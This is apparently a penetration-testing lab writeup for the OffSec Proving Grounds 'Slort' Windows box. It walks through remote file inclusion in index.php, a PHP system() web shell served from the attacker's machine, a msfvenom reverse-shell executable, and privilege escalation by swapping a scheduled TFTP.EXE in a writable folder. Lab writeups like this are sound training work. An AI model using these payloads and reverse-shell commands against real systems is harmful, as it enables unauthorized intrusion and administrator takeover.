OffSec Proving Grounds Slort Writeup (Windows)
Windows box. index.php includes whatever the page parameter names, so a remote PHP shell runs as rupert, and a writable Backup folder swaps TFTP.EXE for admin.
Summary
Slort runs XAMPP on ports 4443 and 8080 next to FileZilla FTP, SMB and MariaDB. ffuf finds /site, whose index.php loads content through a page parameter, and reading the Windows hosts file confirms the inclusion works. A php://filter wrapper returns index.php’s own source, showing include() called on that parameter with no restriction whatsoever, so a PHP one-liner served from the attacking machine is included and executed remotely, running commands as rupert. A revshells.com PowerShell payload turns that into a proper shell. On the box, a non default C:\Backup folder holds an info.txt describing TFTP.EXE being run every five minutes, and icacls shows BUILTIN\Users with full control over that directory. Replacing TFTP.EXE with an msfvenom reverse shell executable and waiting returns a session as the administrator.
Service Enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# Nmap 7.98 scan initiated Thu Jan 22 10:52:12 2026 as: nmap -A -vv -oN scans/nmap.initial 192.168.234.53
Not shown: 993 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 125 FileZilla ftpd 0.9.41 beta
| ftp-syst:
|_ SYST: UNIX emulated by FileZilla
135/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 125 Microsoft Windows netbios-ssn
445/tcp open microsoft-ds? syn-ack ttl 125
3306/tcp open mysql syn-ack ttl 125 MariaDB 10.3.24 or later (unauthorized)
4443/tcp open http syn-ack ttl 125 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.234.53:4443/dashboard/
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
8080/tcp open http syn-ack ttl 125 Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 6EB4A43CB64C97F76562AF703893C8FD
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
| http-title: Welcome to XAMPP
|_Requested resource was http://192.168.234.53:8080/dashboard/
|_http-open-proxy: Proxy might be redirecting requests
Web Server Enumeration
Fuzz for directories:
1
ffuf -u http://192.168.234.53:8080/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-large-words-lowercase.txt -fc 403 -e .php,.txt
One of the results is:
1
site [Status: 301, Size: 346, Words: 22, Lines: 10, Duration: 155ms]
I access /site and one thing immediately grabs my attention:
Specifically, the way the site URL was automatically formed when I accessed it:
1
http://192.168.234.53:8080/site/index.php?page=main.php
That looks like a classic file inclusion vulnerability, where index.php will include any files in the “page” argument. I get the hosts file (C:\windows\system32\drivers\etc\hosts) to test it out, and it works:
I can also use PHP filters to include the source code itself:
More specifically,
1
GET /site/index.php?page=php://filter/read=convert.base64-encode/resource=index.php
Will get me the source code for index.php in base64 format:
1
PD9waHANCgkkcGFnZSA9IG51bGw7DQoJaWYgKGlzc2V0KCRfR0VUWyJwYWdlIl0pKSB7DQoJCWluY2x1ZGUoJF9HRVRbInBhZ2UiXSk7DQoJfQ0KCWVsc2Ugew0KCQllY2hvICJFUlJPUjogTm8gcGFnZSBzcGVjaWZpZWQuLi4iOw0KCQloZWFkZXIoIkxvY2F0aW9uOiBpbmRleC5waHA/cGFnZT1tYWluLnBocCIsIHRydWUsIDMwMSk7DQoJCWV4aXQoKTsNCgl9DQo/Pg==
Which decoded is:
1
2
3
4
5
6
7
8
9
10
11
<?php
$page = null;
if (isset($_GET["page"])) {
include($_GET["page"]);
}
else {
echo "ERROR: No page specified...";
header("Location: index.php?page=main.php", true, 301);
exit();
}
?>
Initial Access - Remote File Inclusion
Prepared shell.php in my attacking machine:
1
<?php system($_REQUEST['cmd']); ?>
Setup a python http server to serve the executable:
1
sudo python3 -m http.server 80
I access the shell.php file abusing the remote file inclusion vulnerability at:
1
http://192.168.234.53:8080/site/index.php?page=http://192.168.45.205/shell.php&cmd=whoami
As you can see from the screenshot below, I can execute system commands as local user “rupert”:
I get a powershell base64 encoded reverse shell payload from Revshells.com and use it to obtain a shell in the machine.
Vertical Privilege Escalation
I see there’s a non-default “Backup” folder in the C drive:
1
2
3
4
5
6
7
8
9
10
PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/20/2020 7:08 AM Backup
<SNIP>
It has a “info.txt” file in it:
1
2
3
PS C:\backup> type info.txt
Run every 5 minutes:
C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txt
I check the permissions for the Backup folder:
1
2
3
4
5
6
7
8
9
PS C:\backup> icacls .
. BUILTIN\Users:(OI)(CI)(F)
BUILTIN\Administrators:(I)(OI)(CI)(F)
NT AUTHORITY\SYSTEM:(I)(OI)(CI)(F)
BUILTIN\Users:(I)(OI)(CI)(RX)
NT AUTHORITY\Authenticated Users:(I)(M)
NT AUTHORITY\Authenticated Users:(I)(OI)(CI)(IO)(M)
Successfully processed 1 files; Failed processing 0 files
And as you can see, “Users” has the “F” flag associated to it, which means we have full access over this directory.
I generated a reverse shell executable:
1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.205 LPORT=53 -f exe -o evil.exe
Did transfer it to the machine:
1
PS C:\backup> iwr 192.168.45.205/evil.exe -outfile evil.exe
Replaced the original executable to my malicious one:
1
2
PS C:\backup> move TFTP.EXE TFTP2.EXE
PS C:\backup> move evil.exe TFTP.EXE
Waited a few minutes and got a shell as administrator:
